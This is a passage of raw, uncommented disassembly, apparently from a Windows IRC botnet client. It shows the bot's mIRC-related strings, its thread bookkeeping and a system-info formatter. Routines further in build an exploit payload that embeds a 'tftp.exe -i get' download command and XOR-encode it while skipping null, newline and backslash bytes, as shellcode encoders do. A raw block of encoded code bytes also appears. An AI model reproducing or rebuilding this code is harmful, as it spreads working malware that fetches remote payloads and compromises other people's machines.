; ---------------------------------------------------------------------------


loc_40AD84:				; CODE XREF: ___:0040AD7Bj
		cmp	dword ptr [ebp-8Ch], 2
		mov	esi, offset dword_431608
		jz	short loc_40AD97


loc_40AD92:				; CODE XREF: ___:0040AD52j
					; ___:0040AD62j
		mov	esi, offset dword_431604


loc_40AD97:				; CODE XREF: ___:0040AD32j
					; ___:0040AD39j ...
		mov	edi, [ebp+8]
		push	esi
		push	offset dword_4315FC
		push	1Ch
		push	edi
		call	sub_41C360
		xor	esi, esi
		add	esp, 10h
		cmp	dword_429098, esi
		jle	short loc_40ADDB


loc_40ADB5:				; CODE XREF: ___:0040ADD9j
		call	sub_41C2C2
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_42B89C
		push	1Ch
		push	edi
		call	sub_41C360
		add	esp, 14h
		inc	esi
		cmp	esi, dword_429098
		jl	short loc_40ADB5


loc_40ADDB:				; CODE XREF: ___:0040ADB3j
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40ADE1	proc near		; CODE XREF: sub_40AE84+5Cp

var_1C		= byte ptr -1Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	esi
		nop
		call	near ptr 2690ACEh
		xor	edx, edx
		mov	ecx, 5265C00h
		div	ecx
		push	0
		push	offset aMirc_0	; "mIRC"
		mov	esi, eax
		cmp	esi, 64h
		jbe	short loc_40AE30
		call	dword_4CB9E0
		test	eax, eax
		mov	eax, offset off_43162C
		jnz	short loc_40AE19
		mov	eax, offset byte_43DB88


loc_40AE19:				; CODE XREF: sub_40ADE1+31j
		push	eax
		push	esi
		push	offset dword_431624
		lea	eax, [ebp+var_1C]
		push	1Ch
		push	eax
		call	sub_41C360
		add	esp, 14h
		jmp	short loc_40AE50
; ---------------------------------------------------------------------------


loc_40AE30:				; CODE XREF: sub_40ADE1+22j
		call	dword_4CB9E0
		test	eax, eax
		mov	eax, offset off_43162C
		jnz	short loc_40AE44
		mov	eax, offset byte_43DB88


loc_40AE44:				; CODE XREF: sub_40ADE1+5Cj
		push	eax
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx


loc_40AE50:				; CODE XREF: sub_40ADE1+4Dj
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_41B9C0
		pop	ecx
		cmp	eax, 2
		pop	esi
		jbe	short loc_40AE7F
		push	1Ch
		lea	eax, [ebp+var_1C]
		push	[ebp+arg_0]
		push	eax
		call	sub_41CBC0
		lea	eax, [ebp+var_1C]
		push	1Ch
		push	eax
		push	[ebp+arg_0]
		call	sub_41BFD0
		add	esp, 18h


loc_40AE7F:				; CODE XREF: sub_40ADE1+7Dj
		mov	eax, [ebp+arg_0]
		leave
		retn
sub_40ADE1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AE84	proc near		; CODE XREF: sub_4017ED+7Fp
					; sub_401955+50p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		xor	edi, edi
		mov	esi, offset dword_42D91C


loc_40AE90:				; CODE XREF: sub_40AE84+3Fj
		cmp	[ebp+arg_C], 0
		jz	short loc_40AEAB
		lea	eax, [esi-0Ch]
		push	eax
		push	[ebp+arg_C]
		call	sub_41CA50
		neg	eax
		pop	ecx
		sbb	eax, eax
		pop	ecx
		inc	eax
		jmp	short loc_40AEB5
; ---------------------------------------------------------------------------


loc_40AEAB:				; CODE XREF: sub_40AE84+10j
		mov	ecx, [esi]
		xor	eax, eax
		cmp	ecx, [ebp+arg_4]
		setz	al


loc_40AEB5:				; CODE XREF: sub_40AE84+25j
		test	eax, eax
		jnz	short loc_40AEC7
		add	esi, 14h
		inc	edi
		cmp	esi, offset off_42D9A8
		jb	short loc_40AE90
		jmp	short loc_40AED5
; ---------------------------------------------------------------------------


loc_40AEC7:				; CODE XREF: sub_40AE84+33j
		push	[ebp+arg_0]
		lea	eax, [edi+edi*4]
		call	off_42D920[eax*4]
		pop	ecx


loc_40AED5:				; CODE XREF: sub_40AE84+41j
		cmp	[ebp+arg_8], 0
		pop	edi
		pop	esi
		jz	short loc_40AEE8
		push	[ebp+arg_0]
		call	sub_40ADE1
		pop	ecx
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_40AEE8:				; CODE XREF: sub_40AE84+57j
		mov	eax, [ebp+arg_0]
		pop	ebp
		retn
sub_40AE84	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 0B8h
		push	ebx
		push	esi
		lea	eax, [ebp-0B8h]
		push	edi
		push	eax
		mov	edi, offset byte_43DB88
		mov	dword ptr [ebp-0B8h], 94h
		call	near ptr 26D0503h
		nop
		cmp	dword ptr [ebp-0B4h], 4
		push	0Ah
		pop	ebx
		jnz	short loc_40AF67
		cmp	dword ptr [ebp-0B0h], 0
		jnz	short loc_40AF48
		cmp	dword ptr [ebp-0A8h], 1
		jnz	short loc_40AF38
		mov	edi, offset dword_431620


loc_40AF38:				; CODE XREF: ___:0040AF31j
		cmp	dword ptr [ebp-0A8h], 2
		jnz	short loc_40AFA3
		mov	edi, offset dword_43161C
		jmp	short loc_40AFA3
; ---------------------------------------------------------------------------


loc_40AF48:				; CODE XREF: ___:0040AF28j
		cmp	[ebp-0B0h], ebx
		jnz	short loc_40AF57
		mov	edi, offset dword_431618
		jmp	short loc_40AFA3
; ---------------------------------------------------------------------------


loc_40AF57:				; CODE XREF: ___:0040AF4Ej
		cmp	dword ptr [ebp-0B0h], 5Ah
		jnz	short loc_40AF9E
		mov	edi, offset dword_431614
		jmp	short loc_40AFA3
; ---------------------------------------------------------------------------


loc_40AF67:				; CODE XREF: ___:0040AF1Fj
		cmp	dword ptr [ebp-0B4h], 5
		jnz	short loc_40AF9E
		cmp	dword ptr [ebp-0B0h], 0
		jnz	short loc_40AF80
		mov	edi, offset dword_431610
		jmp	short loc_40AFA3
; ---------------------------------------------------------------------------


loc_40AF80:				; CODE XREF: ___:0040AF77j
		cmp	dword ptr [ebp-0B0h], 1
		jnz	short loc_40AF90
		mov	edi, offset dword_43160C
		jmp	short loc_40AFA3
; ---------------------------------------------------------------------------


loc_40AF90:				; CODE XREF: ___:0040AF87j
		cmp	dword ptr [ebp-0B0h], 2
		mov	edi, offset dword_431684
		jz	short loc_40AFA3


loc_40AF9E:				; CODE XREF: ___:0040AF5Ej
					; ___:0040AF6Ej
		mov	edi, offset dword_431680


loc_40AFA3:				; CODE XREF: ___:0040AF3Fj
					; ___:0040AF46j ...
		lea	eax, [ebp-0A4h]
		push	offset word_4CB88C
		push	eax
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40AFC1
		mov	esi, offset dword_43167C
		jmp	short loc_40B03C
; ---------------------------------------------------------------------------


loc_40AFC1:				; CODE XREF: ___:0040AFB8j
		lea	eax, [ebp-0A4h]
		push	offset a1	; "1"
		push	eax
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40AFDF
		mov	esi, offset sub_431678
		jmp	short loc_40B03C
; ---------------------------------------------------------------------------


loc_40AFDF:				; CODE XREF: ___:0040AFD6j
		lea	eax, [ebp-0A4h]
		push	offset dword_431674
		push	eax
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40AFFD
		mov	esi, offset dword_431670
		jmp	short loc_40B03C
; ---------------------------------------------------------------------------


loc_40AFFD:				; CODE XREF: ___:0040AFF4j
		lea	eax, [ebp-0A4h]
		push	offset dword_43166C
		push	eax
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40B01B
		mov	esi, offset dword_431668
		jmp	short loc_40B03C
; ---------------------------------------------------------------------------


loc_40B01B:				; CODE XREF: ___:0040B012j
		lea	eax, [ebp-0A4h]
		push	offset dword_431664
		push	eax
		call	sub_41C2E0
		pop	ecx
		mov	esi, offset dword_431660
		test	eax, eax
		pop	ecx
		jnz	short loc_40B03C
		mov	esi, offset off_43165C


loc_40B03C:				; CODE XREF: ___:0040AFBFj
					; ___:0040AFDDj ...
		lea	eax, [ebp-0Ch]
		or	dword ptr [ebp-4], 0FFFFFFFFh
		push	eax
		or	dword ptr [ebp-8], 0FFFFFFFFh
		or	dword ptr [ebp-0Ch], 0FFFFFFFFh
		lea	eax, [ebp-8]
		push	eax
		lea	eax, [ebp-4]
		push	eax
		push	offset aDdDhDm	; "%dd %dh %dm"
		push	0
		call	sub_41ADD8
		pop	ecx
		push	eax
		call	sub_41CCE3
		mov	eax, [ebp-4]
		add	esp, 14h
		cmp	eax, ebx
		jge	short loc_40B086
		push	eax
		push	offset a0D	; "0%d"
		lea	eax, [ebp-18h]
		push	ebx
		push	eax
		call	sub_41C360
		add	esp, 10h
		jmp	short loc_40B0AA
; ---------------------------------------------------------------------------


loc_40B086:				; CODE XREF: ___:0040B06Fj
		cmp	eax, 64h
		jge	short loc_40B098
		lea	ecx, [ebp-18h]
		push	ebx
		push	ecx
		push	eax
		call	sub_42635C
		jmp	short loc_40B0A7
; ---------------------------------------------------------------------------


loc_40B098:				; CODE XREF: ___:0040B089j
		push	offset a99	; "99"
		lea	eax, [ebp-18h]
		push	ebx
		push	eax
		call	sub_41C360


loc_40B0A7:				; CODE XREF: ___:0040B096j
		add	esp, 0Ch


loc_40B0AA:				; CODE XREF: ___:0040B084j
		call	near ptr 2690ACEh
		nop
		push	eax
		call	sub_41C2B8
		pop	ecx
		lea	eax, [ebp-24h]
		push	ebx
		push	eax
		push	7
		push	800h
		nop
		call	near ptr 26D0000h
		lea	eax, [ebp-18h]
		push	eax
		push	esi
		lea	eax, [ebp-24h]
		push	edi
		mov	edi, [ebp+8]
		push	eax
		push	offset aSSSS	; "%s|%s|%s|%s|"
		push	1Ch
		push	edi
		call	sub_41C360
		xor	esi, esi
		add	esp, 1Ch
		cmp	dword_429098, esi
		jle	short loc_40B115


loc_40B0F0:				; CODE XREF: ___:0040B113j
		call	sub_41C2C2
		cdq
		mov	ecx, ebx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_42B89C
		push	1Ch
		push	edi
		call	sub_41C360
		add	esp, 14h
		inc	esi
		cmp	esi, dword_429098
		jl	short loc_40B0F0


loc_40B115:				; CODE XREF: ___:0040B0EEj
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn

; =============== S U B	R O U T	I N E =======================================



sub_40B11C	proc near		; CODE XREF: sub_40B13C+Ap
					; sub_40B214+8p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	[esp+4+arg_0]
		call	sub_41B9C0
		push	[esp+8+arg_4]
		mov	esi, eax
		call	sub_41B9C0
		pop	ecx
		lea	eax, [esi+eax*2+0C1h]
		pop	ecx
		pop	esi
		retn
sub_40B11C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B13C	proc near		; CODE XREF: sub_40B22B+49p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		call	sub_40B11C
		cmp	eax, [ebp+arg_4]
		pop	ecx
		pop	ecx
		mov	[ebp+var_4], eax
		jbe	short loc_40B159
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_40B159:				; CODE XREF: sub_40B13C+17j
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_8]
		call	sub_41B9C0
		push	[ebp+arg_C]
		mov	esi, eax
		call	sub_41B9C0
		mov	edi, eax
		mov	ebx, [ebp+arg_0]
		push	0FFFFFFEDh
		lea	eax, [edi+esi+12h]
		mov	dword_43171C, eax
		lea	eax, [edi+1]
		mov	dword_43173D, eax
		lea	eax, [edi+17h]
		mov	dword_431735, eax
		pop	eax
		push	74h
		sub	eax, edi
		push	offset dword_4316B8
		push	ebx
		mov	dword_43174B, eax
		call	sub_41CD20
		push	esi
		lea	eax, [ebx+74h]
		push	[ebp+arg_8]
		push	eax
		call	sub_41CD20
		add	esi, 74h
		push	5
		push	(offset	aTftp_exeIGet+0Ch)
		lea	eax, [esi+ebx]
		push	eax
		call	sub_41CD20
		add	esi, 5
		push	edi
		push	[ebp+arg_C]
		lea	eax, [esi+ebx]
		push	eax
		call	sub_41CD20
		add	esi, edi
		push	10h
		push	(offset	aTftp_exeIGet+11h)
		lea	eax, [esi+ebx]
		push	eax
		call	sub_41CD20
		add	esp, 44h
		add	esi, 10h
		push	edi
		lea	eax, [esi+ebx]
		push	[ebp+arg_C]
		push	eax
		call	sub_41CD20
		add	esi, edi
		push	38h
		add	esi, ebx
		push	offset byte_431741
		push	esi
		call	sub_41CD20
		mov	eax, [ebp+var_4]
		add	esp, 18h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40B13C	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B214	proc near		; CODE XREF: sub_40B22B+Dp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	[esp+arg_4]
		push	[esp+4+arg_0]
		call	sub_40B11C
		push	eax
		call	sub_40B298
		add	esp, 0Ch
		retn
sub_40B214	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B22B	proc near		; CODE XREF: sub_40DCF9+32p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, [ebp+arg_8]
		push	edi
		mov	edi, [ebp+arg_C]
		push	edi
		push	ebx
		call	sub_40B214
		cmp	eax, [ebp+arg_4]
		pop	ecx
		pop	ecx
		ja	short loc_40B24B
		cmp	eax, 0FFFFh
		jbe	short loc_40B24F


loc_40B24B:				; CODE XREF: sub_40B22B+17j
		xor	eax, eax
		jmp	short loc_40B294
; ---------------------------------------------------------------------------


loc_40B24F:				; CODE XREF: sub_40B22B+1Ej
		push	esi
		push	edi
		push	ebx
		call	sub_40B11C
		add	eax, 101h
		push	eax
		call	sub_41BEB5
		add	esp, 0Ch
		mov	esi, eax
		push	edi
		push	ebx
		push	edi
		push	ebx
		call	sub_40B11C
		pop	ecx
		pop	ecx
		push	eax
		push	esi
		call	sub_40B13C
		push	eax
		push	esi
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40B2B3
		push	esi
		mov	edi, eax
		call	sub_41BA91
		add	esp, 24h
		mov	eax, edi
		pop	esi


loc_40B294:				; CODE XREF: sub_40B22B+22j
		pop	edi
		pop	ebx
		pop	ebp
		retn
sub_40B22B	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B298	proc near		; CODE XREF: sub_40B214+Ep
					; sub_40B2B3+4Ap

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		test	cl, cl
		jnz	short loc_40B2A1
		inc	ecx


loc_40B2A1:				; CODE XREF: sub_40B298+6j
		mov	eax, 0FFh
		cmp	eax, ecx
		sbb	eax, eax
		and	eax, 2
		add	eax, 15h
		add	eax, ecx
		retn
sub_40B298	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B2B3	proc near		; CODE XREF: sub_40B22B+56p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	byte ptr [ebp+arg_C], 0Ah
		jz	short loc_40B2CF
		cmp	byte ptr [ebp+arg_C], 0Dh
		jz	short loc_40B2CF
		cmp	byte ptr [ebp+arg_C], 5Ch
		jz	short loc_40B2CF
		cmp	byte ptr [ebp+arg_C], 0
		jnz	short loc_40B2D2


loc_40B2CF:				; CODE XREF: sub_40B2B3+8j
					; sub_40B2B3+Ej ...
		inc	[ebp+arg_C]


loc_40B2D2:				; CODE XREF: sub_40B2B3+1Aj
		push	esi
		mov	esi, 0FFh
		cmp	[ebp+arg_C], esi
		jbe	short loc_40B2FA
		mov	eax, [ebp+arg_C]
		shr	eax, 8
		cmp	al, 0Ah
		jz	short loc_40B2F3
		cmp	al, 0Dh
		jz	short loc_40B2F3
		cmp	al, 5Ch
		jz	short loc_40B2F3
		test	al, al
		jnz	short loc_40B2FA


loc_40B2F3:				; CODE XREF: sub_40B2B3+32j
					; sub_40B2B3+36j ...
		add	[ebp+arg_C], 100h


loc_40B2FA:				; CODE XREF: sub_40B2B3+28j
					; sub_40B2B3+3Ej
		push	[ebp+arg_C]
		call	sub_40B298
		cmp	eax, [ebp+arg_4]
		pop	ecx
		mov	[ebp+var_4], eax
		ja	short loc_40B312
		cmp	eax, 0FFFFh
		jbe	short loc_40B319


loc_40B312:				; CODE XREF: sub_40B2B3+56j
		xor	eax, eax
		jmp	loc_40B3B7
; ---------------------------------------------------------------------------


loc_40B319:				; CODE XREF: sub_40B2B3+5Dj
		mov	ecx, [ebp+arg_C]
		push	ebx
		mov	bl, byte_4CBB18
		xor	edx, edx
		push	edi
		mov	edi, [ebp+arg_8]
		test	ecx, ecx
		jbe	short loc_40B349


loc_40B32D:				; CODE XREF: sub_40B2B3+94j
		mov	al, [edx+edi]
		xor	al, bl
		jz	short loc_40B340
		cmp	al, 0Ah
		jz	short loc_40B340
		cmp	al, 0Dh
		jz	short loc_40B340
		cmp	al, 5Ch
		jnz	short loc_40B344


loc_40B340:				; CODE XREF: sub_40B2B3+7Fj
					; sub_40B2B3+83j ...
		inc	bl
		xor	edx, edx


loc_40B344:				; CODE XREF: sub_40B2B3+8Bj
		inc	edx
		cmp	edx, ecx
		jb	short loc_40B32D


loc_40B349:				; CODE XREF: sub_40B2B3+78j
		cmp	ecx, esi
		mov	byte_4CBB18, bl
		ja	short loc_40B375
		push	15h
		push	offset loc_4316A0
		push	[ebp+arg_0]
		mov	byte_4316AD, cl
		mov	byte_4316B1, bl
		call	sub_41CD20
		add	esp, 0Ch
		push	15h
		jmp	short loc_40B396
; ---------------------------------------------------------------------------


loc_40B375:				; CODE XREF: sub_40B2B3+9Ej
		push	17h
		push	offset loc_431688
		push	[ebp+arg_0]
		mov	word_431696, cx
		mov	byte_43169B, bl
		call	sub_41CD20
		add	esp, 0Ch
		push	17h


loc_40B396:				; CODE XREF: sub_40B2B3+C0j
		xor	eax, eax
		pop	ecx
		cmp	[ebp+arg_C], eax
		jbe	short loc_40B3B2
		mov	edx, [ebp+arg_0]
		lea	esi, [ecx+edx]


loc_40B3A4:				; CODE XREF: sub_40B2B3+FDj
		mov	cl, [eax+edi]
		xor	cl, bl
		mov	[esi+eax], cl
		inc	eax
		cmp	eax, [ebp+arg_C]
		jb	short loc_40B3A4


loc_40B3B2:				; CODE XREF: sub_40B2B3+E9j
		mov	eax, [ebp+var_4]
		pop	edi
		pop	ebx


loc_40B3B7:				; CODE XREF: sub_40B2B3+61j
		pop	esi
		leave
		retn
sub_40B2B3	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B3BA	proc near		; CODE XREF: ___:00401599p
					; ___:004015D8p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	edi
		xor	edi, edi
		mov	eax, offset dword_43E710


loc_40B3C2:				; CODE XREF: sub_40B3BA+18j
		cmp	byte ptr [eax],	0
		jz	short loc_40B3D6
		add	eax, 234h
		inc	edi
		cmp	eax, offset dword_4CB710
		jl	short loc_40B3C2
		jmp	short loc_40B421
; ---------------------------------------------------------------------------


loc_40B3D6:				; CODE XREF: sub_40B3BA+Bj
		push	esi
		mov	esi, edi
		imul	esi, 234h
		push	1FFh
		push	[esp+0Ch+arg_0]
		lea	eax, dword_43E710[esi]
		push	eax
		call	sub_41BFD0
		mov	eax, [esp+14h+arg_4]
		add	esp, 0Ch
		mov	dword_43E910[esi], eax
		and	dword_43E914[esi], 0
		mov	eax, [esp+8+arg_8]
		and	dword_43E918[esi], 0
		mov	dword_43E91C[esi], eax
		and	byte_43E928[esi], 0
		pop	esi


loc_40B421:				; CODE XREF: sub_40B3BA+1Aj
		mov	eax, edi
		pop	edi
		retn
sub_40B3BA	endp

; ---------------------------------------------------------------------------
byte_40B425	db 55h,	8Bh, 0ECh	; DATA XREF: sub_401ACD+2946o
		dd 98EC81h, 458B0000h, 6A575608h, 0F08B5926h, 0FF68BD8Dh
		dd 0A5F3FFFFh, 0C7F075FFh, 9480h, 100h,	6C858D00h, 0FFFFFFFFh
		dd 0FF50F475h, 0FFFF68B5h, 15E8FFh, 75FF0000h, 26CE8ECh
		dd 0C4830000h, 90006A14h, 2D4B8BE8h, 555E5F02h,	0EC81EC8Bh
		dd 200h, 6A5756h, 681075FFh, 43177Ch, 0FF0C75FFh, 0D2E80875h
		dd 83FFFFE3h, 0FF3314C4h, 43E710BEh, 3E8000h, 7D833C74h
		dd 9750014h, 204BE83h, 75000000h, 8D57562Dh, 0FFFE0085h
		dd 0C54068FFh, 0E8500042h, 10D9Eh, 858D016Ah, 0FFFFFE00h
		dd 501075FFh, 0FF0C75FFh, 8AE80875h, 83FFFFE3h,	0C68124C4h
		dd 234h, 10FE8147h, 7C004CB7h, 0C95E5FB0h
; ---------------------------------------------------------------------------
		retn

; =============== S U B	R O U T	I N E =======================================



sub_40B4F5	proc near		; CODE XREF: sub_401ACD+79AAp
					; sub_40B583+12p ...

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+0Ch+arg_0]
		xor	ebx, ebx
		xor	ebp, ebp
		cmp	esi, ebx
		jle	short loc_40B57D
		cmp	esi, 400h
		jge	short loc_40B57D
		imul	esi, 234h
		push	edi
		push	ebx
		push	dword_43E924[esi]
		lea	edi, dword_43E924[esi]
		call	near ptr 2690B4Dh
		nop
		cmp	[edi], ebx
		jz	short loc_40B52D
		push	1
		pop	ebp


loc_40B52D:				; CODE XREF: sub_40B4F5+33j
		mov	[edi], ebx
		lea	edi, dword_43E918[esi]
		mov	dword_43E910[esi], ebx
		mov	dword_43E914[esi], ebx
		mov	eax, [edi]
		cmp	eax, ebx
		jbe	short loc_40B54E
		push	eax
		call	sub_419F16
		pop	ecx


loc_40B54E:				; CODE XREF: sub_40B4F5+50j
		mov	[edi], ebx
		lea	edi, dword_43E91C[esi]
		mov	byte ptr dword_43E710[esi], bl
		mov	byte_43E928[esi], bl
		push	dword ptr [edi]
		call	dword_4CBA6C
		lea	esi, dword_43E920[esi]
		mov	[edi], ebx
		push	dword ptr [esi]
		call	dword_4CBA6C
		mov	[esi], ebx
		pop	edi


loc_40B57D:				; CODE XREF: sub_40B4F5+Dj
					; sub_40B4F5+15j
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_40B4F5	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B583	proc near		; CODE XREF: sub_40111D+18p
					; ___:loc_4017D9p ...
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		xor	edi, edi
		mov	esi, offset dword_43E710


loc_40B58F:				; CODE XREF: sub_40B583+2Aj
		cmp	byte ptr [esi],	0
		jz	short loc_40B5A0
		push	edi
		call	sub_40B4F5
		test	eax, eax
		pop	ecx
		jz	short loc_40B5A0
		inc	ebx


loc_40B5A0:				; CODE XREF: sub_40B583+Fj
					; sub_40B583+1Aj
		add	esi, 234h
		inc	edi
		cmp	esi, offset dword_4CB710
		jl	short loc_40B58F
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_40B583	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B5B5	proc near		; CODE XREF: sub_401ACD+41B2p
					; sub_401ACD+4302p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		xor	ebx, ebx
		push	edi
		mov	edi, [ebp+arg_4]
		mov	[ebp+var_4], ebx
		mov	esi, offset dword_43E914


loc_40B5C9:				; CODE XREF: sub_40B5B5+43j
		mov	eax, [esi-4]
		cmp	eax, [ebp+arg_0]
		jnz	short loc_40B5EB
		test	edi, edi
		jle	short loc_40B5DD
		cmp	[esi], edi
		jz	short loc_40B5DD
		cmp	ebx, edi
		jnz	short loc_40B5EB


loc_40B5DD:				; CODE XREF: sub_40B5B5+1Ej
					; sub_40B5B5+22j
		push	ebx
		call	sub_40B4F5
		test	eax, eax
		pop	ecx
		jz	short loc_40B5EB
		inc	[ebp+var_4]


loc_40B5EB:				; CODE XREF: sub_40B5B5+1Aj
					; sub_40B5B5+26j ...
		add	esi, 234h
		inc	ebx
		cmp	esi, offset dword_4CB914
		jl	short loc_40B5C9
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40B5B5	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B602	proc near		; CODE XREF: ___:00401630p
					; sub_401ACD+95Ep ...

arg_0		= dword	ptr  4

		xor	eax, eax
		mov	ecx, offset dword_43E910


loc_40B609:				; CODE XREF: sub_40B602+1Cj
		mov	edx, [ecx]
		cmp	edx, [esp+arg_0]
		jnz	short loc_40B612
		inc	eax


loc_40B612:				; CODE XREF: sub_40B602+Dj
		add	ecx, 234h
		cmp	ecx, offset dword_4CB910
		jl	short loc_40B609
		retn
sub_40B602	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B621	proc near		; CODE XREF: sub_401ACD+23D9p

arg_0		= dword	ptr  4

		xor	eax, eax
		push	esi
		xor	edx, edx
		mov	ecx, offset dword_43E910


loc_40B62B:				; CODE XREF: sub_40B621+1Fj
		mov	esi, [ecx]
		cmp	esi, [esp+4+arg_0]
		jz	short loc_40B644
		add	ecx, 234h
		inc	edx
		cmp	ecx, offset dword_4CB910
		jl	short loc_40B62B
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_40B644:				; CODE XREF: sub_40B621+10j
		mov	eax, edx
		pop	esi
		retn
sub_40B621	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B648	proc near		; CODE XREF: sub_401ACD+123Dp
					; sub_401ACD+125Bp ...

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		xor	eax, eax
		cmp	[ebp+arg_1C], eax
		jz	short loc_40B661
		push	[ebp+arg_1C]
		call	sub_41C159
		pop	ecx


loc_40B661:				; CODE XREF: sub_40B648+Ej
		push	eax
		push	[ebp+arg_18]
		call	sub_40B5B5
		pop	ecx
		test	eax, eax
		pop	ecx
		jle	short loc_40B68D
		push	eax
		lea	eax, [ebp+var_200]
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	offset aSSStopped_DThr ; "%s %s	stopped. (%d thread(s) stopped.)"
		push	eax
		call	sub_41C266
		add	esp, 14h
		jmp	short loc_40B6A7
; ---------------------------------------------------------------------------


loc_40B68D:				; CODE XREF: sub_40B648+26j
		push	[ebp+arg_14]
		lea	eax, [ebp+var_200]
		push	[ebp+arg_10]
		push	offset aSNoSThreadFoun ; "%s No	%s thread found."
		push	eax
		call	sub_41C266
		add	esp, 10h


loc_40B6A7:				; CODE XREF: sub_40B648+43j
		cmp	[ebp+arg_C], 0
		jnz	short loc_40B6C7
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 14h


loc_40B6C7:				; CODE XREF: sub_40B648+63j
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_415D38
		pop	ecx
		leave
		retn
sub_40B648	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B6D6	proc near		; CODE XREF: sub_4017ED+159p
					; ___:0040BD0Bp ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		xor	ecx, ecx
		imul	eax, 234h
		mov	dword_43E924[eax], ecx
		mov	dword_43E910[eax], ecx
		mov	dword_43E914[eax], ecx
		mov	dword_43E918[eax], ecx
		mov	dword_43E91C[eax], ecx
		mov	dword_43E920[eax], ecx
		mov	byte ptr dword_43E710[eax], cl
		mov	byte_43E928[eax], cl
		retn
sub_40B6D6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B713	proc near		; CODE XREF: sub_401ACD+7C2Bp
					; sub_40B841+6Bp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, [ebp+arg_0]
		push	1
		pop	eax


loc_40B71D:				; CODE XREF: sub_40B713+68j
		mov	cl, [esi]
		test	cl, cl
		jz	short loc_40B77D
		cmp	eax, 1
		jnz	short loc_40B77D
		mov	edx, [ebp+arg_4]
		mov	dl, [edx]
		test	dl, dl
		jz	short loc_40B77D
		cmp	cl, 2Ah
		jz	short loc_40B764
		cmp	cl, 3Fh
		jz	short loc_40B747
		cmp	cl, 5Bh
		jz	short loc_40B74C
		xor	eax, eax
		cmp	cl, dl
		setz	al


loc_40B747:				; CODE XREF: sub_40B713+26j
		inc	[ebp+arg_4]
		jmp	short loc_40B777
; ---------------------------------------------------------------------------


loc_40B74C:				; CODE XREF: sub_40B713+2Bj
